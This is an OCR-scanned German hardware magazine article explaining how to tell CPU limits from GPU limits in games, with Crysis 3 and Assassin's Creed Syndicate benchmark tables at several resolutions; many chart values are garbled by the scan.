ran scheiden sich die Geister. Der 
Mensch ist anpassbar, Fps-Wunsch- 
vorstellungen können mit fort- 
schreitendem Alter der Hardware 
sinken, während eine Aufrüstung 
meist dazu führt, dass man sich 
an butterweiche Bildraten ge- 
wöhnt - fatal für den Geldbeutel. 
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Zwischen den Limits 

Jede Aufrüstung, jede Veränderung 
der Einzelkomponenten verschiebt 
die Machtverhältnisse zwischen 
ihnen. Wenn Sie ein PC-Spiel genie- 
ßen, gibt es immer eine Komponen- 
te, die voll ausgelastet ist, während 
die anderen noch Reserven haben. 
Grundsätzlich unterscheidet man 
zwischen den folgenden Szenarien: 


I Grafikkartenlimit (auch Grafikli- 
mit/GPU-Limit): Die Leistung der 
Grafikkarte bestimmt die Bildrate. 

I Prozessorlimit (auch CPU-Limit): 
Die Leistung des Prozessors 
bestimmt die Bildrate. 


Prozessor und Grafikkarte arbei- 
ten Hand in Hand, wobei die CPU 
der GPU die Render-Anweisungen 
erteilt. Wissenswert ist, dass ein 
CPU-Limit auch auftreten kann, 


wenn diese gar nicht voll ausge- 
lastet ist. Die Definition von „CPU“ 
beinhaltet außerdem die Leistung 
des Speicher-Subsystems (RAM- 
Transferrate), welche ebenfalls li- 
mitieren kann. 


Erkennen und entschärfen 

Ein PC ist niemals völlig ausgewo- 
gen, zu unterschiedlich sind die 
Anforderungen der Anwendungen. 
Doch wie erkennt man, welche 
Komponente aus dem letzten Loch 
pfeift? Die Bildschirmauflösung ist 
dabei Ihr bester Freund, denn sie 
kann effektiv Limits verschieben 
und somit Flaschenhälse besser 
aufdecken als alle anderen Stell- 
schrauben. Die wichtigste Informa- 
tion dabei ist, dass Auflösung - die 
Transformation der Bilddaten in 
ein Pixelraster - allein Aufgabe der 
Grafikkarte ist. Den Prozessor küm- 


mert es nicht, ob ein Spiel mit 1.280 
x 720 oder 3.840 x 2.160 Pixeln pro 
Bild dargestellt wird, er berechnet 
dabei grundsätzlich dieselben Din- 
ge mit derselben Geschwindigkeit. 
Zu seinen Aufgaben gehören Dinge 
wie Physik, künstliche Intelligenz 
inklusive Wegfindung der Nicht- 
spieler-Charaktere, Sound und na- 
türlich das Aufrechterhalten des so- 
genannten „Game Loop“ - das Spiel 
als Prozess am Laufen zu halten. 


Die CPU bestimmt folglich die 
Grundleistung, denn wenn sie aus- 
gelastet ist, kann sie der Grafikkarte 
keine neuen Aufgaben zuteilen und 
die GPU schiebt Leerlaufzyklen 
ein. Um das Limit Ihres Prozessors 
zu bestimmen, müssen Sie nur das 
betreffende Spiel starten und alle 
Details abseits der reinen Bild- 
verschönerung einschalten. Zur 
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DX12 AKTIVIERT 

AUFLOSUNGSSKALA 
UI-SKALIERUNGSFAKTOR 
FRAMERATEN-BEGRENZUNG 
QUALITÄTSEINSTELLUNGEN 


GPU-Speicher-Beschränkung 
GRAFIK-QUALITAT 
TEXTURQUALITAT 

TEXTURFILTER 
BELEUCHTUNGSQUALITAT 


EFFEKTQUALITAT 


= 
< 20 


0 


AUS 


INDIVIDUELL 


ULTRA 


ULTRA 


ULTRA 


ULTRA 


Genügt die GPU-Leistung nicht, um die native Auflösung zu nutzen, helfen Skalie- 
rungsoptionen wie in Battlefield 1: Intern wird eine geringere Auflösung berechnet 
und anschließend hochskaliert. Das hält die Bildschärfe aufrecht. 


Auflösungsskalierung: Arbeit für die GPU 


35 
30 
= 
= 25 
2 
2 20 
E 
Жоо 
b 
o 
E 10 % Megapixel pro Bild 
5 
0 
1.280x 1.680x 1.920x 1.920x 2.560x 2.560x 3.840x 5.120x 7.680x 
720 1.050 1.080 1.200 1.440 1.600 2.160 2.880 4.320 
Auflósung 


Bemerkungen: Die Auflösung ist das Produkt aus Pixelzeilen und Pixelspalten und allein Aufgabe der Grafik- 
karte. Der Zentralprozessor bekommt davon nichts mit. Je höher die Auflösung, desto wahrscheinlicher ist daher 
ein GPU-Limit. Spätestens in Ultra HD limitiert die Grafikkarte aufgrund der Pixelflut beinahe immer. 


Letztgenannten gehören neben der 
Auflösung die anisotrope Textur- 
filterung sowie Anti-Aliasing (Bild- 
glättung). All diese Schmankerl 
belasten ausschließlich die Grafik- 
karte, deren Leistungsgrenze uns 
zunächst nicht interessiert. 1.280 
x 720 Pixel, kein AA, kein AF - das 
genügt, um die Leistung des Prozes- 
sors nebst Infrastruktur zu testen. 


Ein Beispiel aus der just abgelaufe- 
nen Beta-Phase von Destiny 2 (PC) 
zur Illustration. Unser Testrechner 
mit Ryzen 7 1700 @ 3 GHz und Ti- 
tan X (Pascal) @ 2 GHz erzielt eine 
durchschnittliche Bildrate von 
113 Fps in besagten Einstellungen. 
Mit 3,9 GHz Prozessortakt mittels 
Overclocking klettert die Bildrate 
auf 137 Fps. Das entspricht zwar 
keinem linearen Anstieg mit dem 
Kerntakt (dafür müsste unter ande- 
rem die Speichergeschwindigkeit 
erhöht werden), zeigt aber eindeu- 
tig, dass die CPU-Leistung limitiert. 
Der Wechsel auf 1.920 x 1.080 Pixel 
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inklusive AA und AF hat keine Aus- 
wirkungen auf die durchschnittli- 
che Bildrate - die Grafikkarte kann 
immer noch mehr Fps berechnen 
als der Prozessor (mit Standard- 
takt). Ganz anders sieht das beim 
Schritt zur Ultra-HD-Auflösung aus, 
plötzlich erreicht der PC nur noch 
55 Bilder pro Sekunde. Allein durch 
die Anzahl der Pixel wurde aus dem 
CPU- ein GPU-Limit.Mit anderen 
Worten: Läuft ein Spiel in niedri- 
gen Auflösungen wesentlich flüs- 
siger als in hohen, sollten Sie über 
ein Grafikkarten-Upgrade nachden- 
ken. Besitzer eines WQHD- oder 
UHD-Bildschirms, der mit nativer 
Auflösung betrieben werden will, 
befinden sich daher deutlich öfter 
im Grafiklimit als Nutzer von LCDs 
mit beispielsweise 1.680 x 1.050 
oder 1.920 x 1.080 Pixel. 


Auf den folgenden Seiten gehen 
wir anhand von weiteren Praxis- 
beispielen auf das Zusammenspiel 
von CPU, GPU und Auflösung ein. 


Auflösungsskalierung von 720p bis 2160p 


1.280 x 720 - kein AA/AF/AO (Ausgangswerte) 


i9-7900X paa pe 207,5 
i7-7820X Eis e 178,6 
i7-6900K [gg cw 1704 
17-7800Х r€ 166,9 
i7-6800K a s 155,8 
17-7740Х EB 153,1 
i7-7700K Cr 146,2 
R7-1800X sua 1458 
R5-1600X Egg p 140,4 
R7-1700 RISSO Wi 134,6 

R5-1600 Egg ww 132,3 
R5-1500X peo Es 104,3 

i5-7600K Ese Es 102,7 

R5-1400 ES 92,6 


1.920 x 1.080 — kein AA/AF/AO (Framerate relativ zu 1.280 x 720) 


i9-7900X Exe E 186,2 (-10 %) 
17-7820Х pen peus 176,7 (1 96) 
i7-6900K [X Ex 166,4 (-2 96) 
17-7800Х pm ES 165,6 (-1 %) 
i7-6800K ОО cw 153,4 (2 96) 
i7-7740X Egg e 147,1 (4 96) 
R7-1800X Egg pw 146,2 (0 96) 
i7-7700K [Ege | 143,3 (-2 %) 
R5-1600X Egg p 140,3 (0 96) 

R7-1700 Egg ШЕШШ 134,0 (0 %) 

R5-1600 psge pe 131,2 (-1 96) 
R5-1500X ВИСО p 103,3 (-1 96) 

i5-7600K [Xs p 101,9 (-1 96) 

R5-1400 possa 91,7 (-1 90) 

2.560 x 1.440 - kein AA/AF/AO (Framerate relativ zu 1.920 x 1.080) 


17-7800Х gg Ew 125,9 (-32 90) 
17-7820Х [Egg ISI MENI 125,8 (-29 %) 
i7-6800K Egan eu 125,1 (-25 96) 
i7-7700K Eg pes 124,7 (25 %) 
i7-6900K Xs 124,7 (-19 %) 
i9-7900X [Xl ШЕШШ 124,2 (-16 %) 
R7-1800X FESSES E 123,9 (-15 %) 
R7-1700 pg p 123,6 (-14 96) 
R5-1600X СО E 123,2 (12 %) 
R5-1600 peg uw 122,7 (-8 %) 
i7-7740X СЗ [E 122,4 (-7 96) 
i5-7600K [Xs 99,0 (-4 9) 
R5-1500X Essi 99,0 (-3 96) 
R5-1400 Esp E 88,5 (3 %) 
3.840 x 2.160 — kein AA/AF/AO (Framerate relativ zu 2.560 x 1.440) 


i7-6800K ВИБО ШЕ 64,1 (-49 96) 
R5-1600 ДО 64,1 (-49 96) 
i7-7800X Eso 63,7 (-49 96) 
17-7820Х EST 63,7 (-49 96) 
R5-1400 page 63,7 (-49 %) 
R7-1700 БОЈИ 63,7 (-49 %) 
i5-7600K MES 63,3 (-49 96 
R7-1800X Eun 63,3 (-49 96 
i7-7700K EEE 62,9 (-49 96 
17-7740Х Д 62,9 (-49 96 

( 

( 


( 
( 


R5-1600X Eg 62,9 (-49 96 
i9-7900X БЕШЕНЕНЕ 62,5 (-37 96 
R5-1500X [agi 62,5 (-37 96 
i7-6900K pag 61,7 (-30 96 


Test: Crysis 3, 8 GiB RAM je Speicherkanal, Titan X (Pascal) @ 120 % Powerlimit; Miis er, 

Windows 10 x64, GF 378.78 Bemerkungen: Je höher die Auflösung, desto öfter limitiert ps 

die Grafikkarte — spätestens in Ultra HD verpufft die Leistung sündteurer Prozessoren. > Besser 
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Beispiel #1: Crysis 3 


1.280 x 720 (oben) vs. 3.840 x 2.160 mit 4x SMAA/16:1 AF (unten): Wer mit maxi- 
maler Bildqualität spielt, kommt mit günstigen Prozessoren aus. 


rysis 3 hat zwar schon ein paar 

Jahre auf dem Buckel, ist aber 
nach wie vor ein Musterbeispiel für 
gute Mehrkernnutzung - daher be- 
findet sich das Spiel nach wie vor 
im PCGH-Leistungsindex der Pro- 
zessoren. Der Ego-Shooter aus dem 
Hause Crytek zeigt somit einen 
Bestfall für Vielkern-CPUs, wobei 
selbstverstándlich auch der Takt 
eine grofse Rolle spielt. 


Wie bei allen modernen Spielen 
schlägt das gute Multithreading je- 
doch nur in geringen Auflósungen 
durch. Je mehr Pixel, desto enger 
rutschen die Prozessoren zusam- 
men. Das ist der Grund, warum 
CPU-Tests in gängigen Auflösungen 
ab Full HD nebst Kantenglättung 
und anisotroper Filterung keinen 
Sinn ergeben: Sie zeigen nicht die 
Leistung der Prozessoren, sondern 
die der installierten Grafikkarte. 
Spätestens in Ultra HD limitiert 
selbst die schnellste Grafikkarte 
(derzeit: Titan Xp). 


GPUs vs. CPUs 

Für diesen Test drehen wir den 
Spiefs um: Die folgenden Bench- 
marks zeigen nicht die Prozessor- 
leistung in Balken, sondern die von 
30 populären Grafikkarten. Um 
dem Geschehen eine hóhere Aus- 
sagekraft zu verleihen, haben wir 
die Grafikkarten in drei Auflósun- 
gen getestet: Full HD, WOHD und 
Ultra HD - mit diesen Pixelmengen 
spielt ein Grofsteil unserer Leser. 


Die Prozessorleistung ermitteln 
wir wie gehabt in 1.280 x 720 Pi- 
xel ohne AA/AF, um ein Grafikli- 
mit auszuschließen, aber mit den- 
selben Testszenen. Die Werte der 
Prozessoren und Grafikkarten sind 
somit direkt vergleichbar. Um ei- 
nen Bezug herzustellen, finden Sie 
in den Benchmarks Markierungen, 
welche die Leistung des entspre- 
chenden Prozessors zeigen. Die 
Auswirkung steigender Auflösung 
ist bemerkenswert - doch sehen 
Sie selbst! 


Leistung in Full HD (1 .920 x 1.080): CPUs und GPUs Crysis 3, max. Details, 4x SMAA/16:1 AF — , Fields" 


Titan Xp/12G 

Geforce GTX 1080 Ti/11G 
Geforce GTX 1080/8G 
Radeon RX Vega 64/8G 
Geforce GTX 1070/8G 
Geforce GTX 980 Ti/6G 
Radeon RX Vega 56/8G 
Radeon R9 Fury X/4G 
Geforce GTX 980/4G 
Radeon R9 390X/8G 
Geforce GTX 1060/6G 
Geforce GTX 780 Ti/3G 
Radeon R9 390/8G 
Geforce GTX 1060/3G 
Radeon RX 580/8G 
Radeon R9 290X/4G 
Radeon RX 480/8G 
Geforce GTX 970/-4G 
Radeon R9 290/4G 
Radeon RX 480/4G 
Geforce GTX 780/3G 
Radeon RX 570/4G 
Radeon RX 470/4G 
Radeon RX 470/8G 
Geforce GTX 770/2G 
Radeon R9 280X/3G 
Radeon R9 380/2G 
Geforce GTX 1050 Ti/4G 
Geforce GTX 1050/2G 
Radeon RX 460/2G 


PENTIUM EE 965 > 
C2D E8500 » 


C2Q 06600 > FX-4300 > 


ATHLON X4 845 > 


R3 1200 >| ЕХ-8320Е » 


15-2500K > 17-2600К >| FX-9590 > 


UEL 
! ЕЕЕ 1212 (5 %) 
RER 553 (25 %) 


—— ss aO Urç A 75,5 (-38 %) 
=www—s“_sa4(.39% 
, ИНИ 712 (-42 5) 
а АРКЕТ 
=mww—Hu €s 70 5 (-45 %) 
НИ 59 s (-53 %) 
КИШИНИ 551 (55 %) 
КИНИНИ 557 (-55 %) 
=G 54,8 (-57 %) 
Gw 54,4 (-57 %) 

—— isi: t 52 5 (-59 %) 


15-7600K >. 


17-7700K+, 17-5820K+, R7 1700+ » 
17-4770K > 


|LU— a s— r P 525 (59 % 
G—syasas)s (-59 %) 
[arcc НИ 50.5 (-60 %) 
EN WENN 501 (e) 
U — Fa aen O Vk) 
Eg 45 5 (-62 %) 
so. 47,2 (63%) 
Gw VW8871;(63%) 
=G=—€s W 44,5 (-65 %) 
|U— —soah i 4,6 (-65 %) 
www rr saa. (67%) 


System für Prozessortests: Intel X299/X99, 2170/ 
797/777, AMD X399/X370/990FX/790GX,8 GiB RAM 
pro Speicherkanal (Geschwindigkeit jeweils laut max. 
CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
GHz; Windows 10 64 Bit 


Bemerkungen: Die schnellste Grafikkarte wird 
perfekt von einem Core i7-4770K bedient. Schnellere 
Prozessoren lohnen sich nicht, da die Grafikleistung 
imitiert. Wer eine aktuelle Mittelklasse-Grafikkarte 
verwendet, kann bedenkenlos zu einem günstigen 
Ryzen 3 1200 greifen oder im Gebrauchtmarkt zugrei- 
en. Wichtig ist nur, dass die CPU über mindestens vier 
Kerne und eine moderne Architektur verfügt. 


ww (70%) 
G=— il 34,8 (-73 %) 
wl; (-76 %) 


> Besser 


Mimil 2 Fps 


E 257 (75 5) 
puoi 22,8 (82 %) 
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— 


Beispiel- » 
Konfiguration С) 
für High-End-PC < 


А 
ien Ber, 


шы 


OR-Code scannen Sa N Hee ; 
und hinsurfen! s ec Ir tu ТЕЧ м“ — P 


Jetzt am Kiosk erhàltlich oder einfach 
online bestellen unter: www.pcgh.de/sohe 


GRAFIKKARTEN | CPU- und GPU-Limit erkennen 


Leistung in WQHD (2.560 x 1.440): CPUs und GPUS crysis s, max. Details, 4x SMAA/16:1 AF - „Fields“ 


Titan Xp/12G 

Geforce GTX 1080 Ti/11G 
Geforce GTX 1080/8G 
Radeon RX Vega 64/8G 
Geforce GTX 1070/8G 
Geforce GTX 980 Ti/6G 
Radeon R9 Fury X/4G 
Radeon RX Vega 56/8G 
Radeon R9 390X/8G 
Geforce GTX 980/4G 
Radeon R9 390/8G 
Geforce GTX 1060/6G 
Geforce GTX 780 Ti/3G 
Radeon R9 290X/4G 
Radeon RX 580/8G 
Geforce GTX 1060/3G 
Radeon R9 290/4G 
Radeon RX 480/8G 
Geforce GTX 970/-4G 
Radeon RX 480/4G 
Radeon RX 570/4G 
Geforce GTX 780/3G 
Radeon RX 470/4G 
Radeon RX 470/8G 
Geforce GTX 770/2G 
Radeon R9 280X/3G 
Radeon R9 380/2G 
Geforce GTX 1050 Ti/4G 
Geforce GTX 1050/2G 
Radeon RX 460/2G 


CORE 2 DUO E8500 > 
ATHLON 64 X2 6400+ > 


A10-7870K > 
FX-4300 > 


PHENOM II 1100T > 


C2 06600 > RYZEN 3 1200 » 


FX-8350 > 
RYZEN 5 1400 > 


CORE 17-4790K > RYZEN 5 1600 > 


15-3570K > 


EEN 
GO 752 (-6 %) 


ERR 600 (-27 %) 
Nae ES (-39 %) 
Eam 48,6 (-41 %) 
ma ЕШ 47,0 (43 %) 
NN 40,8 (-44 %) 
ws 459 (45 5) 
| 38,3 (-54 %) 
37.3 (-55 %) 
sss %) 
Km—— 34, (-58 %) 
ws. (-55 %) 
wl. (-58 90) 
gg ШШ 32,9 (-60 96) 
Egg 326 (-61 96) 
| 2 6 (61 %) 
pagi >, (-61 96) 
wam! (63 90) 
N зо 5 (63 %) 
p ЕШШ 29,8 (-64 96) 

KmD— aE 29,6 (-64 %) 
=s. (6 %) 
ДЕЧ 27 9 (-66 %) 
E 25,7 (-69 %) 
ER 24,9 (-70 %) 

gm 22,0 (-73 %) 

nn 19,2 (77 %) 

Kwasi 177 (-79 %) 

ИШНЕН 14,3 (-83 %) 


System für Prozessortests: Intel X299/X99, 7170/ 
297/277, AMD X399/X370/990FX/790GX,8 GiB RAM 
pro Speicherkanal (Geschwindigkeit jeweils laut max. 
CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
GHz; Windows 10 64 Bit 


Bemerkungen: In der WQHD-Auflósung nimmt der 
Einfluss des Prozessors stark ab, die meisten Grafikkar- 
ten sind bereits mit einem steinalten Vierkerner wie dem 
Core 2 Quad Q9650 (nicht abgebildet) ausgelastet. 


Mimil @ Fps 


» Besser 


Leistung Ultra HD (3.840 х 2.160): CPUs und GPUS crysis з, max. Details, 4x SMAA/16:1 AF - , Fields" 


Titan Xp/12G 

Geforce GTX 1080 Ti/11G 
Geforce GTX 1080/8G 
Radeon RX Vega 64/8G 
Geforce GTX 1070/8G 
Radeon R9 Fury X/4G 
Geforce GTX 980 Ti/6G 
Radeon RX Vega 56/8G 
Radeon R9 390X/8G 
Radeon R9 390/8G 
Geforce GTX 980/4G 
Radeon R9 290X/4G 
Geforce GTX 1060/6G 
Geforce GTX 780 Ti/3G 
Radeon R9 290/4G 
Geforce GTX 1060/3G 
Radeon RX 580/8G 
Radeon RX 480/8G 
Geforce GTX 970/-4G 
Geforce GTX 780/3G 
Radeon RX 570/4G 
Radeon RX 480/4G 
Radeon RX 470/4G 
Radeon RX 470/8G 
Radeon R9 280X/3G 
Geforce GTX 770/2G 
Geforce GTX 1050 Ti/4G 
Geforce GTX 1050/2G 
Radeon R9 380/2G 
Radeon RX 460/2G 


CORE 2 E6600 > CORE 2 Q6600 > ATHLON X4 845 > 
ATHLON 64 X2 6400+ > FX-4300 > 


D 42.3 (Basis) 
=mww—Feisso (10%) 
www sWWKGS30)(2% 
=w)43(4%) 
Gwsjl23. (-43 %) 
ННІ 23, (44 %) 
EN 22,8 (-46 %) 
mu 22,7 (-46 %) 
ER 19,3 (-54 %) 
pe Ex 18,1 (-57 %) 
Kw 18,0 (-57 %) 
D 172 (-59 %) 
is] 16,9 (-60 %) 
EEUU 16,4 (-61 %) 
Est 164 (-61 %) 
umm 15,7 (-63 %) 
pu 15,6 (-63 %) 
pH 15,3 (-64 %) 
pu 14,5 (-66 %) 

ps 14,3 (-66 %) 

pamm 14,2 (-66 %) 

pu 14,2 (-66 %) 

ESSEN 13,4 (-68 %) 
13,3 (-69 %) 
12,4 (-71 %) 

pog 9,8 (77 %) 

psg 9, (78 %) 

E, (-82 %) 

ll 6,4 (-85 96) 

BEE 5,8 (-86 %) 


FX-6300 > 
RYZEN 3 1200 » 


FX-8350 > 
RYZEN 5 1400 > 


RYZEN 5 1600 > 
CORE 17-4790K > 


System für Prozessortests: Intel X299/X99, 2170/ 
2971277, AMD X399/X370/990FX/790GX,8 GiB RAM 
pro Speicherkanal (Geschwindigkeit jeweils laut max. 
CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
GHz; Windows 10 64 Bit 


Bemerkungen: Ultra HD zeigt das Extrembeispiel: 
Selbst ein zehn Jahre alter (!) Core 2 Quad Q6600 liefert 
genügend Grundleistung, um Oberklasse-Grafikkarten 
wie die Geforce GTX 1080 auszulasten. 


Mimil @ Fps 


» Besser 
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Beispiel #2: Assassin's Creed Syndicate 


1.280 x 720 (oben) vs. 3.840 x 2.160 mit 4x MSAA/16:1 AF (unten): Wer auf maxi- 


as zweite Beispiel rundet die 

Analyse ab. Assassin’s Creed: 
Unity ist bis zum Erscheinen von 
AC Origins in diesem Herbst der 
neueste Ableger der famosen 
Meuchelserie. Wie alle Teile zuvor 
punktet auch Syndicate mit einer 
großen, offenen Welt, welche auf- 
grund hoher Sichtweite und zahl- 
reicher — Nichtspieler-Charaktere 
eine hohe Prozessorlast erzeugt. 


Im Gegensatz zu Crysis 3 skaliert 
AC Syndicate nur gut, aber nicht 
exzellent mit den zur Verfügung 
gestellten Prozessorkernen und 
threads. Im Gegenzug fällt die 
Grafiklast mit steigender Auflö- 
sung noch etwas höher aus. Dazu 
zählt auch der Hunger nach Gra- 
fikspeicher: In Ultra-HD-Auflösung 
kommen alle Grafikkarten mit we- 
niger als 4 GiByte ins Straucheln 
und auch diese Speicherkapazität 
genügt nicht vollständig. AC Syndi- 
cate dient somit als Beispiel für ein 


ES 


modernen Prozessoren profitiert, 
in den meisten Szenarien aber den- 
noch grafiklimitiert ist. 


CPUs vs. GPUs 

Intels „Sandy Bridge"-Prozessoren, 
besser bekannt unter den Modell- 
nummern i5-2500K und i7-2600K, 
zählen zu den langlebigsten CPUs 
des aktuellen Jahrzehnts. Das 
kommt nicht von ungefähr, wie der 
unten stehende Benchmark zeigt: 
Der Core i7-2600K ist in der Lage, 
die schnellsten Grafikkarten in 
Full-HD-Auflösung weitgehend aus- 
zulasten. Das gelingt ihm erst recht, 
wenn die Auflösung auf WQHD 
erhöht wird - hier sind nun auch 
der i5-2500K und vergleichbar 
schnelle Chips wie der FX-8350 
voll ausreichend. In Ultra HD wird 
es besonders interessant: In den ge- 
testeten Detaileinstellungen wird 
derart viel Grafiklast erzeugt, dass 
ein Core 2 Quad aus dem Jahr 2007 
genügt, um eine Geforce GTX 1080 


male Bildraten aus ist, muss die Auflösung reduzieren. modernes Spiel, das einerseits von — auszureizen. (rv) 
Leistung in Full HD (1 ‚920 x 1 .080): CPUs und GPUs ac Syndicate, max. Details, 4x MSAA/16:1 AF — , Bishopsgate" 
CORE 2 DUO E8500 > ATHLON ХА 845 > FX-4300 »- FX-6350 >| — FX-8350 > 17-2600K »- R5 1500X+ > 
ATHLON 64 X2 6400+ >| Q6600 > PHENOM II X6 1100T >| ВҮЈЕМ 3 1200 P> RYZEN 5 1400 > 17-990X > 
TitanXp/lG NENNEN 006 (Basis) 
сочат Ү.._ а 
Geforce GTX 1080/86 usata 78,7 (-13 %) 
Geforce GTX 1070/86 ВБ 64,1 (-29 %) 
Radeon RX Vega 64/86 ВБ 1,3 (32 %) 
Geforce GTX 980 Ti/6G ШЕНЕ 54,4 (-40 %) 
Radeon RX Меда 56/86 [gai 53,7 (-41 %) 
Radeon R9 Fury X/4G =n 48,4 (-47 %) 
Geforce GTX 980/46 un (-47 %) 
Geforce GTX 1060/66 =sssvTrwT 47,3 (-48 %) 
Geforce GTX 1060/36 [Xp ou 45,2 (-50 %) 
Radeon АХ 580/86 ШЗ 42,0 (-54 %) 
Radeon АХ 480/8G ШЗ 40,8 (-55 90) 
Geforce GTX 970/-46 ЕЗ 40,0 (-56 %) 
Radeon RX 480/4G. ME 38,9 (-57 90) 
Radeon R9390X/8G. =u 38,5 (-58 96) 
Radeon RX 570/4G u 37,5 (-59 96) System für Prozessortests: Intel X299/X99, 2170/ 
о a =s карадан ча а ае ну 
Radeon RX 470/8G Egan 35,7 (61 %) CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
Radeon R9 290X/4G [Xi 356 (-61 %) GHz; Windows 10 64 Bit 
Radeon R9 390/8G Es 35,4 (-61 %) Bemerkungen: Bereits ein Ryzen 5 1500X genügt, 
Geforce GTX 780 T/3G aa 34,7 (-62 96) um die sündteure Titan Xp respektive eine übertaktete 
л ——_=— en 
Geforce GTX 780/3G ua, (-67 96) sind in der Lage, jede aktuelle Mittelklasse-Grafikkarte 
Radeon R9280X/3G ШОУ 28,3 (-69 96) auszulasten. 
Geforce GTX 1050Ti4G 27,5 (-70 %) WC" о Fps 
Geforce GTX 1050/26 u 226 (-75 %) » Besser 
Radeon R9 380/2G [gg E 22,5 (-75 %) 
Geforce GTX 770/26 EEE 18,6 (-79 96) 
Radeon RX 460/2G wa 15,0 (-83 96) 
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Leistung in WQHD (2.560 x 1.440): CPUs und GPUSs ac Syndicate, max. Details, 4x MSAA/16:1 АЕ — „Bishopsgate” 


CORE 2 06600 > FX-4300 > 15-2500K > 
CORE 2 E6600 > A10-7800 > FX-6300 > FX-8370 > 


Titan Xp/12G uum 66,6 (Basis) 
Geforce GTX 1080 Ti/11G ШБ ЕЕ 64,5 (3 96) 
Geforce GTX 1080/86 ШБ 54,4 (-18 90) 
Geforce GTX 1070/86 ШО 44,0 (34 %) 
Radeon RX Меда 64/8G ВЗН 40,3 (-39 96) 
Geforce GTX 980 Ti/6G 5 38,5 (-42 %) 


CORE 17-3770+ > 


Radeon RX Vega 56/8G Ei 36,4 (45 90) 
Radeon R9 Fury X/4G 33,8 (49 90) 
Geforce GTX 980/46 gg, 324 (-51 96) 
Geforce GTX 1060/66 gi eo 31,5 (-53 96) 
Radeon АХ 580/8G. T 28,0 (-58 %) 
Geforce GTX 1060/3G u s 27,6 (-59 90) 
Radeon RX 480/8G pagi pc 27,4 (-59 %) 
Radeon R9 390X/8G. [gn es 27,0 (-59 96) 


Geforce GTX 970/-4G 
Radeon R9 390/8G 


Radeon RX 570/46 uta 24,7 (63 %) 
Radeon RX 480/46 GW 23,7 (-64 96) System für Prozessortests: Intel X299/X99, 7170/ 
А 297/277, AMD X399/X370/990FX/790GX,8 GiB RAM 
Radeon RX 470186 XXn ex 23,7 (-64 %) pro Speicherkanal (Geschwindigkeit jeweils laut max. 
Radeon RX 470/4G 23,7 (-64 %) CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
Radeon R9 290X/4G EEE 22,9 (-56 %) SECH 
Geforce GTX 780 Т/36 ar cs 21,8 (67 %) Bemerkungen: Selbst die pro-MHz-schwachen 
Radeon R9 290/46 TE 21,3 (-68 %) a. ann Wel 
nen Neukauf für den Sockel oder plant, kann 
Geforce GTX 780/36 pe E 18,7 72%) prinzipiell zu jedem Modell greifen, das mindestens vier 
Radeon R9 280X/3G 18,3 (-73 %) Kerne besitzt. 
E -739 
Geforce GTX 1050 Ti/4G ШШ 18,0 (-73 96) Mif?! 2 Fps 
Radeon R9 380/26 Em ES 13,1 (-80 %) > Besser 
Geforce GTX 1050/2G ali 12,8 (-81 96) 
Geforce GTX 770/2G |a 12,1 (-82 %) 
Radeon RX 460/2G Em 8,4 (-87 %) 


Un Н 55 (61 %) 
D —< <a>) (62 %) 


Leistung Ultra HD (3.840 x 2.160): CPUs und GPUs ac Syndicate, max. Details, 4x MSAA/16:1 AF - „Bishopsgate” 


Titan Xp/12G 

Geforce GTX 1080 Ti/11G 
Geforce GTX 1080/8G 
Geforce GTX 1070/8G 
Radeon RX Vega 64/8G 
Geforce GTX 980 Ti/6G 
Radeon RX Vega 56/8G 
Radeon RX 580/8G 
Radeon R9 390X/8G 
Geforce GTX 1060/6G 
Radeon RX 480/8G 
Geforce GTX 980/4G 
Radeon R9 390/8G 
Radeon RX 470/8G 
Radeon R9 Fury X/4G 
Geforce GTX 970/-4G 
Radeon R9 290X/4G 
Radeon R9 290/4G 
Radeon RX 480/4G 
Radeon RX 570/4G 
Radeon RX 470/4G 
Geforce GTX 1050 Ti/4G 
Geforce GTX 780 Ti/3G 
Radeon R9 280X/3G 
Geforce GTX 780/3G 
Geforce GTX 1060/3G 
Radeon R9 380/2G 
Geforce GTX 1050/2G 
Geforce GTX 770/2G 
Radeon RX 460/2G 


PENTIUM EE 965 > A8-7600 > 


CORE 2 E6600 > CORE 2 Q6600 > 
k=w ss. (Basis) 
з ЕЕ 
ШИШИ 25:3 (-23 %) 
1 э 7 (-35 %) 
Kwa). (-44 %) 
Eg mu 21,0 (45 *o) 
EXP 19,8 (48 %) 
Em 15,4 (-60 96) 
Kwasi 150 (61) 

K— 1 147 (-62 90) 
Kw 14.3 (-63 %) 
pma Eu 13,9 (-64 %) 
mu 13,6 (-64 %) 
Kwasi 12.3 (68 %) 
Gw 12.1 (6 %) 
ENS 10,9 (-71 %) 
ШИН 10,8 (72 %) 
pug 10,5 (-73 %) 
pm 10,2 (-73 96) 
pg 9,2 (-76 %) 
pou 8,5 (-78 96) 
L| 51 (-79 %) 
WISSSEBIIlI 6,9 (-82 %) 

EI 5,9 (-85 %) 

ll 5,4 (-86 %) 

Ba 5,3 (-86 %) 

ВИ 2,5 (-93 %) 

12,3 (-94 %) 

ШИ 1,9 (-95 %) 

HIS 1,9 (-95 %) 


CORE 15-2500K > CORE 17-2600К > 


CORE 17-920 p: 


System für Prozessortests: Intel X299/X99, Z170/ 
2971277, AMD X399/X370/990FX/790GX,8 GiB RAM 
pro Speicherkanal (Geschwindigkeit jeweils laut max. 
CPU-Spezifikation), Geforce GTX 980 Ti @ 1,38/3,9 
GHz; Windows 10 64 Bit 


Bemerkungen: Ultra HD ist derart grafiklastig, dass 
selbst aktuelle Low-Cost-Prozessoren in der Lage sind, 
genügend Grundleistung zu liefern. Selbst mit einem 
Core 2 Quad (um 3 GHz) kommt man über die Runden, 
denn was wirklich zählt, ist Grafikleistung. 


Mimil 2 Fps 


» Besser 
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POGH-Premium-PC 


Härdware 


a  GTX-1070-Karten 

fast genauso teuer sind wie die 
Palit GTX 1080 Dual OC, haben wir 
uns für Letztere entschieden und am 
Prozessor gespart. In The Witcher 3 ist 
der Premium-PC nur um rund vier Pro- 
zent langsamer als der deutlich teurere 
PCGH-Extreme-PC mit i7-7700K-CPU. 
Der Intel Core 15-7500 im Premium PDC 
reicht also für viele Spiele völlig aus, 
entscheidend ist die Grafikleistung. Ne- 


inzwischen 


Beim Premium-PC haben wir eine GTX 1080 mit 
einem Core i5-7500 kombiniert. Perfekt für Gamer? 


ben einer 275-GB-SSD von Crucial ist 
der neue PCGH- 
HDD von Seagate ausgestattet. 16 GB 
